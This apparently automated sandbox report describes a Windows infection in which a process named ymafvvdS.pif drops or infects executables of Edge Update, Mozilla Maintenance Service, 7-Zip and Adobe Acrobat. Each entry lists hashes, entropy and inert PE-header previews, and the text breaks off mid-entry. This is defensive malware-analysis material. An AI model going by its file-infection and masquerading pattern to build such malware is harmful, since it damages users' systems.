Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............wU..wU..wU.tT..wU.rTg.wU..sT..wU..tT..wU..rT..wU.sT..wU.qT..wU.vT..wU..vUQ.wUK.~T..wUK..U..wUK.uT..wURich..wU........PE..L...B(.d............................p.............@.........................................................................y..........H3...........................g..p....................g..........@....................x.......................text............................... ..`.rdata...z.......\|..................@..@.data....'...........z..............@....didat..$...........................@....rsrc...H3.......4..................@..@.reloc...p.......`..................@...................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1221120
Entropy (8bit):	5.130172941025364
Encrypted:	false
SSDEEP:	12288:obrNRzB+NCWZkYgb4+m+5HDL72ntF/YLKkLzEwBkx0o0GHiKQn9Y4:obBRzBgtqYdTt/hXV0cfQ9Y4
MD5:	FE88DF4257739DACF395D1D7F2748C33
SHA1:	F9B89B23B61FFBCE8311DBCFC6E244FDA921B8A2
SHA-256:	BE93282EB4EE8C78EC3A39C8CE8ADC2497D83354A750FBBA2B2306F04F975068
SHA-512:	948F3DDB4660283BAFCD677AB801779A4026B0E94448740767B006F4004F11FD92269755DA6700EEDA252E67639F5BFF5BCD6D6A70DAE3FD2F925309AAB3B8E8
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........,.B...B...B...A...B...G...B...F...B...G...B...F...B...A...B...C...B...C..B...G...B......B......B...@...B.Rich..B.........................PE..L...7(.d..........................................@.............................................................................(....`..X3..............................p...............................@...................<...@....................text............................... ..`.rdata...`.......b..................@..@.data........0......................@....didat.......P......................@....rsrc...X3...`...4..................@..@.reloc...`.......P...R..............@...................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2168832
Entropy (8bit):	7.938448016926182
Encrypted:	false
SSDEEP:	49152:Py53w24gQu3TPZ2psFkiSqwozLqQTt/hXV0cD:PyFQgZqsFki+ozDTthF3
MD5:	C43C52F78479D8E174DD7E5BE52E7B0E
SHA1:	0F5BA8FC5AC0E054B31D82D98E427FB26DDF700B
SHA-256:	8C6314F52128E7E9391EBB4D17B8CAE7D25E123C3052AA18D7E27D04641BF00E
SHA-512:	F379DFB7D94A08BE32D481E2F75990E0EC1F0FD5FC8DCEE9CAEAD1D818AB8219836A0857AD2617B7FF6BD266ACDF86409E416FA375B2FC3DD8AF1525CEDF717D
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......d..[ e.. e.. e..4...+e..4....e..B...1e..B...4e......-e..B....e..4...3e..4...!e..4...-e.. e...e....@.!e.. e(.ve......!e..Rich e..................PE..L....(.d............................ }............@..........................p!.......!......................................?..x....................................1..p....................1..........@...............H...T>..`....................text...*........................... ..`.rdata..............................@..@.data...,....P.......8..............@....didat..,....p.......B..............@....rsrc................D..............@..@.reloc.......p.......(..............@...................................................................................................................................................................................................................................................

C:\Program Files (x86)\Mozilla Maintenance Service\logs\maintenanceservice.log

Download File

Process:	C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3141
Entropy (8bit):	4.813593782728129
Encrypted:	false
SSDEEP:	24:l2dwQrbeP4BrRzRWtFgRWmIFW1w3JuPhRWqFwvRxRWlbFRW07F9vWYRWqNFRq4+c:EieRo1mvyXJe4dqY3pnGD
MD5:	1403E7F97DAB3BBC362E4A4A59AAEBAD
SHA1:	3D4E073F904284E941144B832D95A0963916E11B
SHA-256:	74064A0345CEDB91188A2356CFD855C38A62BCF4C5FD29D17D54D0A0D89CE2F6
SHA-512:	A96E48A8F7B715D6D7071EBFD93F51BFD9D8FBDFCEA878F7DC4766E355E416BAB8095B2823AD4ECE2D9492718EB440B07D9519639BA16951AC16F355DAF8A007
Malicious:	false
Reputation:	unknown
Preview:	2024-12-10 01:05:44-0500: Disabled unneeded token privilege: SeAssignPrimaryTokenPrivilege...2024-12-10 01:05:44-0500: Disabled unneeded token privilege: SeAuditPrivilege...2024-12-10 01:05:44-0500: Disabled unneeded token privilege: SeBackupPrivilege...2024-12-10 01:05:44-0500: Disabled unneeded token privilege: SeCreateGlobalPrivilege...2024-12-10 01:05:44-0500: Disabled unneeded token privilege: SeCreatePagefilePrivilege...2024-12-10 01:05:44-0500: Disabled unneeded token privilege: SeCreatePermanentPrivilege...2024-12-10 01:05:44-0500: Disabled unneeded token privilege: SeCreateSymbolicLinkPrivilege...2024-12-10 01:05:44-0500: Could not disable token privilege value: SeCreateTokenPrivilege. (1300)..2024-12-10 01:05:44-0500: Disabled unneeded token privilege: SeDebugPrivilege...2024-12-10 01:05:44-0500: Could not disable token privilege value: SeEnableDelegationPrivilege. (1300)..2024-12-10 01:05:44-0500: Disabled unneeded token privilege: SeImpersonatePrivilege...2024-12-10 01:05:4

C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1356800
Entropy (8bit):	5.347825833969815
Encrypted:	false
SSDEEP:	24576:DQVTZu0JksqjnhMgeiCl7G0nehbGZpbD:0VTZuFDmg27RnWGj
MD5:	5AF7A965937863A10C99D5EC19A974A5
SHA1:	2B6D06C41D178F926A797D31A8E978CB1E51D092
SHA-256:	7543D6D85044E2461026B9A8C43A4214352B7E0D61813B199D365A12CA1C031B
SHA-512:	42EF2D8E268C92125669BC2DCA1356B0CCEB8BEAE33F873ED813BADD2B87E40A2A44F76D1146D415CC674EBAC68035F015D682C8C8A060315DDCDAE096EB0E01
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......R...$.................@.............................P............ .................................................h&..................`....................$..........................(....p..8............,...............................text...FQ.......R.................. ..`.rdata.......p.......V..............@..@.data...4#...`.......<..............@....pdata..`............J..............@..@.00cfg..(............d..............@..@.tls.................f..............@....voltbl.*............h.................._RDATA...............j..............@..@.rsrc................l..............@..@.reloc...P.......@...t..............@...........................................................................................................................................................................................................................

C:\Program Files\7-Zip\7z.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1683968
Entropy (8bit):	5.62311271526534
Encrypted:	false
SSDEEP:	24576:e+gkESfh4CofsqjnhMgeiCl7G0nehbGZpbD:TgkE+S5Dmg27RnWGj
MD5:	00E9B63DBC557C028484E3495B99BFFC
SHA1:	9B9AF4A277ED9AC064E5338AA687417E5F39B076
SHA-256:	C4F036418883E88EC4AFF8B81F88DCD97EE4FD9B22A49549857C096DCAC6F377
SHA-512:	A6186BA5E7F861055C2603218E8AD3693F7D1E3161307C17C5094BA57E65AD15D908340F877D1F5AC81A762C16C22B0BC59175FA6A5A515A0AD4D5555B9CA2D0
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............xaX.xaX.xaX...X.xaX...X.xaX.x`XlxaX...X.xaX..eY.xaX...X.xaX`.bY.xaX...X.xaX...X.xaXRich.xaX........................PE..d....\.d.........."...........................@.............................. ......C..... .....................................................x............@...q......................................................................0............................text...v........................... ..`.rdata..T...........................@..@.data....-..........................@....pdata...q...@...r..................@..@.rsrc................j..............@..@.reloc...P.......@...r..............@...........................................................................................................................................................................................................................................................

C:\Program Files\7-Zip\7zFM.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1532416
Entropy (8bit):	7.096643945941094
Encrypted:	false
SSDEEP:	24576:/BpDRmi78gkPXlyo0Gtjr8sqjnhMgeiCl7G0nehbGZpbD:pNRmi78gkPX4o0GtjEDmg27RnWGj
MD5:	5040C8649D02B00353D98558FA93A634
SHA1:	38B0DDE5AAB8875EE2C4BAB4E59A44234E2239D8
SHA-256:	D2413EE78F1C4569D97C20E06657643128441F5F7539715F845D2F07333EE269
SHA-512:	4C42F21AFA5E534C587412EBCA2FCA19AE05CD98C565B69EAC56B22C72A303C76352AB81F60254538C04D65910AC9B39706CF61DE2A8C10D07F7A57E0A70DC10
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........\..2..2..2.0.\..2..I..2..3..2..O..2..\.D.2...6..2.._..2..N..2..J..2.Rich.2.........................PE..d....\.d.........."......b...8......Pi........@.....................................w..... .................................................P................... .......................................................................(.......@....................text....a.......b.................. ..`.rdata...i.......j...f..............@..@.data...............................@....pdata.. ...........................@..@.rsrc...............................@..@.reloc...............r..............@...........................................................................................................................................................................................................................................................

C:\Program Files\7-Zip\7zG.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1282048
Entropy (8bit):	7.229034650123738
Encrypted:	false
SSDEEP:	24576:qLOS2oTPIXVfsqjnhMgeiCl7G0nehbGZpbD:a/TsDmg27RnWGj
MD5:	59927EE8A104658B6BA82DA41236D06C
SHA1:	72E30FB6FA2F64445D33471DDE5ABEC85D808DE2
SHA-256:	0B9C17928A70CA92184B9A34E867571A60EC84DAEBE71AEB5309684D87C36274
SHA-512:	759199B433CD7096FE2808176506471FF2C56901D6E46EA5F4F26699E8D7F2E9575787D17F96FC363BAF5094010DF54E49EE60E456DF479DABD29A3643B7A894
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......;.VS.y8..y8..y8...C.jy8..y9..y8...E.}y8...V..y8.i.<.~y8...U.ky8...;.~y8...D.~y8...@.~y8.Rich.y8.........PE..d....\.d.........."......&..........."........@........................................... ..............................................................d...........................................................................@...............................text...4$.......&.................. ..`.rdata..Ts...@...t...*..............@..@.data...83..........................@....pdata..............................@..@.rsrc....d.......f...:..............@..@.reloc..............................@...........................................................................................................................................................................................................................................................................

C:\Program Files\7-Zip\Uninstall.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1145344
Entropy (8bit):	5.031176139948462
Encrypted:	false
SSDEEP:	12288:o1lXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:o1lsqjnhMgeiCl7G0nehbGZpbD
MD5:	DEE1533F86738D4485164509B2E9A781
SHA1:	FD33F6CD05550FC11141DBDAC440226088B2FFFF
SHA-256:	DDE96339D8650AE1D586344C81EFC4AD80C2B986CC6D82AF9157DFD4CEA3BFC5
SHA-512:	68A00C8143DC565343E7D85DB795397BD5508CCFC88A2FB1190722EC3D61560E96B01EB5C00640E11EC6970B74C1CE6E54E8A649B4F1ADEF9CFAA5D1FFC489CE
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S.6...X...X...X.x.R...X..V...X.x.\...X......X...Y.W.X......X.!.R...X...^...X.Rich..X.................PE..L...pN.d........../..........@......f!.......0....@.................................G.......................................$9.......`...............................................................................0...............................text............................... ..`.rdata.......0......................@..@.data...X....@.......(..............@....rsrc....`...`...P...*..............@...........................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1222656
Entropy (8bit):	6.711997539614624
Encrypted:	false
SSDEEP:	12288:5Rudz6Xc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:5Adz6sqjnhMgeiCl7G0nehbGZpbD
MD5:	B818007EBD00ABCF6E67B2BD6C543B27
SHA1:	43D864A80039A2BCEB7020709EAEDC44B6838793
SHA-256:	2CABD5DD3E46B45D4C6D9E202A57988C7C09CEC8ED0A355DC1AB3655857E31E9
SHA-512:	1825525C9F5CC983CD92DEAAAE60F320590226DF229FA735FEE78BCE32EA7166BAB2AE3B523792A7B5569EC175C79554D5E51E3F5B07C8E17A425E7D24EC6201
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........U...4.F.4.F.4.F.LEF.4.FE@.G.4.FE@.G.4.FE@.G.4.FE@.G.4.F._.G.4.F.4.F%4.FG@.G.4.FG@)F.4.F.4AF.4.FG@.G.4.FRich.4.F................PE..d......d.........."......6.....................@......................................... .....................................................\|....P..h........9.....................p.......................(...P...8............P...............................text....4.......6.................. ..`.rdata..>....P.......:..............@..@.data...............................@....pdata...9.......:..................@..@.rsrc...h....P......................@..@.reloc..............................@...................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1457664
Entropy (8bit):	5.082138606680795
Encrypted:	false
SSDEEP:	12288:yvOXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:HsqjnhMgeiCl7G0nehbGZpbD
MD5:	BBDA931992D89B311F8F9ACAFD0DD6F0
SHA1:	8F5E831121A359E89CF250B8C65EDC3C1F9A1071
SHA-256:	04C16837D841D368EFFC7F007E20C5316D89F5788A33B04F5B459B3083DC6520
SHA-512:	0B2C8F8FBCBD2F1F78F30674BB210F1717398A9750BE6D6BB8E7FF89C1DC9CB2AAFDFB4DBBEEEA6F1E2478348476CC7079A1D570AD587772E8174969C357648C
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.......]../...\|...\|...\|B..}...\|B..}...\|...}...\|..S\|...\|..}=..\|..}...\|..}...\|..}...\|..=\|...\|o..\|...\|B..}...\|...\|...\|..}...\|..Q\|...\|..9\|...\|..}...\|Rich...\|................PE..d......d.........."......H...........&.........@....................................&..... .................................................@...,....@..........4......................T.......................(...@...8............`...............................text....G.......H.................. ..`.rdata.......`.......L..............@..@.data...............................@....pdata..4...........................@..@.CRT....@....0......................@..@.rsrc........@......................@..@.reloc...P...P...@..................@...................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1461248
Entropy (8bit):	5.46860245442752
Encrypted:	false
SSDEEP:	24576:/5zhM1XSE7sqjnhMgeiCl7G0nehbGZpbD:DMsODmg27RnWGj
MD5:	CC9B11BDA20123EA7325143C7ACC247C
SHA1:	054B679EE1F17F78A7138DF70AA68BDC4842A542
SHA-256:	4482E55EC1168DE21CED077B2E83243CAA59D22E41EC2C07D7A37AC5F1E23D63
SHA-512:	8457384235D5F338155F2227A7635F37154C1C230E468FBA80087CE362E3432CDBB92B1B2DF35B9477EE2EF3F4C4FA4B38FCA4E4D03AA09B98A51BBAC1960758
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.........<$.Rw.Rw.Rw...w..Rw5.Vv.Rw5.Qv.Rw5.Sv.Rw7.Sv.Rw..Vv.Rw..Tv.Rw..Sv..Rw.Sw..Rw5.Wv.Rw.t/w.Rw.t?w..Rw7.Wv.Rw7.Vv.Rw7.w.Rw..w.Rw7.Pv.RwRich.Rw........PE..d......d.........."..........z......@..........@....................................@%.... ................................................. A...................+......................T.......................(.......8............................................text............................... ..`.rdata..............................@..@.data....d...`...\...T..............@....pdata...+.......,..................@..@.rsrc............0..................@..@.reloc...P...0...@..................@...........................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4151808
Entropy (8bit):	6.4997794099032005
Encrypted:	false
SSDEEP:	49152:UtuUC0nNc/RcYHCY9AWWnURqdHIEogMAYrukdUmSC+bXMZQU1QqpN755gDmg27RN:UjEIa4HIEWOc5aD527BWG
MD5:	08BAD6105552BA3528E01FC6745B0F3D
SHA1:	ADE4E799A94FE73F9D2DB5F9BFA7740017728AC9
SHA-256:	4F28B7C66AF33AAB36377E5066C51002548DABD04C3287307E22522BEE715F65
SHA-512:	E866B274B1166FCBD4133DD23AD2E3C008A4674B37FDB6EED3E7607E10997DFDEA42B00E46E2BA9D8801F7229EAD97484E5110B77842ABA5767AF347C7E5D1E1
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$........x...............r.......r.......r.......v$.....>m......>m......>m.......r...............r..............<m......<m......<m&.......N.....<m......Rich............................PE..d...<..d.........."......:....................@............................. @......f?... .........................................0.%.......%......0)......p'.......................!.T.....................!.(....s .8............P......l.%......................text....8.......:.................. ..`.rdata.......P.......>..............@..@.data....D... &.......&.............@....pdata.......p'.......&.............@..@.didat........).......(.............@..._RDATA....... ).......(.............@..@.rsrc........0).......(.............@..@.reloc...@....6..0...*6.............@...................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	59941376
Entropy (8bit):	7.999367299934912
Encrypted:	true
SSDEEP:	1572864:iQb5m2CYw2bheyHA2DiAVPNqCPiQwm9tqGWS15Vj9QVqd2+NAs:ZXhwMhe6AABPiQwF6xQ22R
MD5:	5CEFAD8FC42CDAA882E1914878B301AE
SHA1:	328FA2D8D4F65156CF4AAAA79611A23391F5BE8A
SHA-256:	9892755DB9495FF8C5EBC4657E085C438F30FEA3FEBBDFC221F80617300BDEAA
SHA-512:	D2B9DD0D1E4314DB07750C97661B9AC82504B67BA569712CE1D74F66A2612363E9F67C0E3DEC1722258F1BE2D54C0D0787FD9E5F9A7129B0AC4678C89DFFD17F
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......;......J...J...Jk.Kt..Jk.Kl..Jk.K..J..Kn..J..Ku..J..K+..Jk.Kt..J...J..J..Kf..J..Kt..J..@J~..J..(J}..J..K~..JRich...J................PE..d...z..d..........".................3.........@.............................0........... .....................................................x....`.........06..................8%..T....................&..(...Pg..8............ ......@...@....................text............................... ..`.rdata...}... ...~..................@..@.data...TS..........................@....pdata..06.......8..................@..@.didat..x....@......................@..._RDATA.......P......................@..@.rsrc.......`.....................@..@.reloc.......@.....................@...................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1180160
Entropy (8bit):	5.084799543039932
Encrypted:	false
SSDEEP:	12288:eWeXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:eLsqjnhMgeiCl7G0nehbGZpbD
MD5:	1DC43EC9B6847AB0D2629B607DDF560B
SHA1:	D63CDFF7E993317DBF8596E418E9A05DF9AC4196
SHA-256:	F460B3FFCCC4B8816E6F33DA5100D2D26DC4B26607581980D25ED8C797A7D52B
SHA-512:	A528B66D80B8CB35F819AC7F8A15B71E15F35B773AA91FFF5E6D52493EBA6C73F2CAEA2526A94ADD3E7B1A17BCAE84CD8C1E9D27D46228183A94B48DA2930784
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........e....b..b..b.\|...b.epf..b.epa..b.epg..b.epc..b.oc..b..c.2.b.gpg..b.gp...b.....b.gp`..b.Rich..b.................PE..d...R..d.........."......l...Z.......m.........@.............................@......'3.... .....................................................\|.......p.......@.......................T.......................(.......8............................................text...>k.......l.................. ..`.rdata..J:.......<...p..............@..@.data...............................@....pdata..@...........................@..@.rsrc...p...........................@..@.reloc...P.......@..................@...................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6210048
Entropy (8bit):	6.386701565493479
Encrypted:	false
SSDEEP:	49152:yDvZEaFVUn+Dpasot2xQevgjCGT7lmPIionqOgBhGl6zVLkVEk3yV07U24GEQTXG:DnN9KfxLk6GEQTX5UKzNDhD527BWG
MD5:	73A9EB886A04C0803792CBB7FB5F8581
SHA1:	C6E534E59B5B74DC2FBCE55DFCB5FE9AD7AE8B82
SHA-256:	99B46636D18BDC2E4F58922D7C90D1D5E89DAAE36D05E09A9ABE57B3510D6344
SHA-512:	25F083AD7752348D029C6DB57F2599BB121C71AB758BFBEEFB5216D1721EE21BB22D4388D92E0C9E70EF3790733CFB45A3D9A50E187D43CBB4E1714C6F1100D4
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$.......;..j...9...9...9k..8r..9k..8...9...8l..9...8t..9..p9\|..9...9...9...8...9k..8\..9k..8}..9k..8n..9...9...9...8Y..9...8~..9..r9~..9...9\|..9...8~..9Rich...9........................PE..d......d.........."......V4..,"......L(........@.............................._.....C.^... ..........................................<F.\|....EF.x....0K..V...@H......................n;.T....................o;.(....:.8............p4..... .F.`....................text...,T4......V4................. ..`.rdata..@....p4......Z4.............@..@.data...l.....F......nF.............@....pdata.......@H......vG.............@..@.didat.. .....K......>J.............@..._RDATA....... K......HJ.............@..@.rsrc....V...0K..X...JJ.............@..@.reloc...0....V.. ....U.............@...................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1157120
Entropy (8bit):	5.041478663897403
Encrypted:	false
SSDEEP:	12288:UDXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:UDsqjnhMgeiCl7G0nehbGZpbD
MD5:	389823CBA4DF7A0F4C117B9B84C566AA
SHA1:	D897C1E99C3160281C7849A8A86C0E8E3156B751
SHA-256:	41EF43F472349026CE6AF7FD5CBC414F4071FF296D829AB1780F47D40793F411
SHA-512:	C247B199923A1F9D1E91F6D3694CD7E637263BB5C6BB0068E045D3AB6C6035CDE6FDE5CD1DE529DC0E5186B505EF1AD16E8ED54386D67776AC624C81359912F8
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<.tKx...x...x...q..t.......c.......r.......{.......~...l...}...x...........\|.......y...x...y.......y...Richx...................PE..d......d.........."..........>.......0.........@....................................;C.... .................................................lV..........h...........................PI..T....................K..(....I..8............@...............................text....,.......................... ..`.rdata..4"...@...$...2..............@..@.data........p.......V..............@....pdata...............X..............@..@.rsrc...h............\..............@..@.reloc...P.......@...h..............@...................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	12039168
Entropy (8bit):	6.596675052286067
Encrypted:	false
SSDEEP:	98304:Tb+MzPstUEHInwZk3RBk9DdhgJCudq1uVIyESYgKwD527BWG:fnPgTHIwZoRBk9DdhSUEVIXgKwVQBWG
MD5:	6557F2907007AD01DBE9027F4F3C1140
SHA1:	41FA45DDAE9FD0838A1B4857C8C43A2A0C6928C7
SHA-256:	78560DF7C0B5152C07A5E5F00700447F05C60A5E344CCC3E29652C314CE314A2
SHA-512:	069630D182F4AF15D210B257BF0FE749FBF16DDEAF33ACE4953D862DC275A86739650061901314C1E60E7FAF8F92F99DBC45E9A6F79D670F43F29AF2E93E217E
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...................................H...........!..L.!This program cannot be run in DOS mode....$.......&.w.bb..bb..bb..v...lb..v...b.....qb.....hb......ab......b..E.t.Vb..E.d.jb.....ib......b..v...\|b..v...cb.....`..bb..}b..v...Ab..bb..,`.....b.....cb.....cb..bb..`b.....cb..Richbb..........PE..d......d..........".........../.....0.F........@.......................................... ............................................\...,..h........G......Lz..................P..T......................(......8...........................................text............................... ..`.rdata..f. .......!.................@..@.data..............................@....pdata..Lz.......\|.................@..@.didat...............X..............@..._RDATA...............Z..............@..@.rsrc....G.......H...\..............@..@.reloc... .........................@...........................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1322496
Entropy (8bit):	5.281796657227052
Encrypted:	false
SSDEEP:	24576:lg5FvCPusEsqjnhMgeiCl7G0nehbGZpbD:CftzDmg27RnWGj
MD5:	A1DC1BB0EBD64CD0EEF24B55681564E4
SHA1:	3EBE4A4329ACEAE9BD64AD89EABF81ECEFC33651
SHA-256:	D540FF8D6D3D7E728866332EE41DABC2C76076CDB7D2D433AC51CC3BE202DAB4
SHA-512:	22C36A51FCD0A671B58B07BB61E3125562738C838FC7835B979680844DF7C51EEE40199AEAF5D6D51066DB57643D46DA4C6AF31AA166AA5CBD972E04C58C1CC0
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ z.A...A...A...9...A..O5...A..O5...A..O5...A..O5...A...*...A...A...@..M5...A..M5.A...A...A..M5...A..Rich.A..................PE..d......d.........."..........b.................@.............................p......+E.... .................................................X...h....p..p....P..t.......................T.......................(.......8............................................text...,........................... ..`.rdata.............................@..@.data........@.......&..............@....pdata..t....P......................@..@.rsrc...p....p.......B..............@..@.reloc...P... ...@..................@...................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1339904
Entropy (8bit):	7.208878269650056
Encrypted:	false
SSDEEP:	24576:UjKTIsAjFuvtIfmFthMaT5U8aChaeuCsqjnhMgeiCl7G0nehbGZpbD:UjIMmPh7TT79LDmg27RnWGj
MD5:	64E3E3C8B574FFA2EDFC513EECC4505B
SHA1:	C1B6550D0E19E4055355DF944EE6E1F9D24F5E5C
SHA-256:	EBF2168798E4C9DFC84EE66FD3A55D2163A04AA7C0FF90DB85239CFFE14D5E2C
SHA-512:	91C263846B3814B23BD8D2DE1902E13468019747ADC803BFDA58DEF68631676F129B41755B4A04DF2CF15A48E2D96CAC5A705331C083B10A5ECDF76B3F60A7DB
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$......................................s...X............................[....U=....................h...n......n.Y.....1....n......Rich...........PE..d......c..........".................0i.........@..............................$.....=w.... .................................................H...d............@..Tx......................p...................`...(...`................................................text............................... ..`.rdata..@...........................@..@.data....>......."..................@....pdata..Tx...@...z..................@..@.rsrc................z..............@..@.reloc..............................@...................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1515520
Entropy (8bit):	5.411765736209586
Encrypted:	false
SSDEEP:	24576:9GqVwCto1Gm5WgusqjnhMgeiCl7G0nehbGZpbD:MZ1GmUxDmg27RnWGj
MD5:	FABCEFE2A13ADDD6F1A508A3BE58B4F5
SHA1:	5731288C7D5785ADE22BB7B7639366DCC28EC17A
SHA-256:	B54402B4F1FF4B13CCF48D4E9844805C8DCA6EC8527DFD9672762D8580DFE2BB
SHA-512:	FE9AA9EE17774BBBDEE7769674DE61ECFE5D57678CF291D0F5D5AFA8FB57D8ADF1910DEC78210C5EFDD29781F87DBA5F659094FF107F122EE57EDA6F0DC23816
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.....................v......................................a..X.....X........r....X.....Rich...........PE..d......c.........."............................@....................................a..... .................................................. ...........v..............................p.......................(....................0...............................text............................... ..`.rdata..Z$...0...&..................@..@.data...x"...`.......@..............@....pdata...............L..............@..@.rsrc....v.......v...j..............@..@.reloc...P...0...@..................@...................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1253376
Entropy (8bit):	5.157394767815713
Encrypted:	false
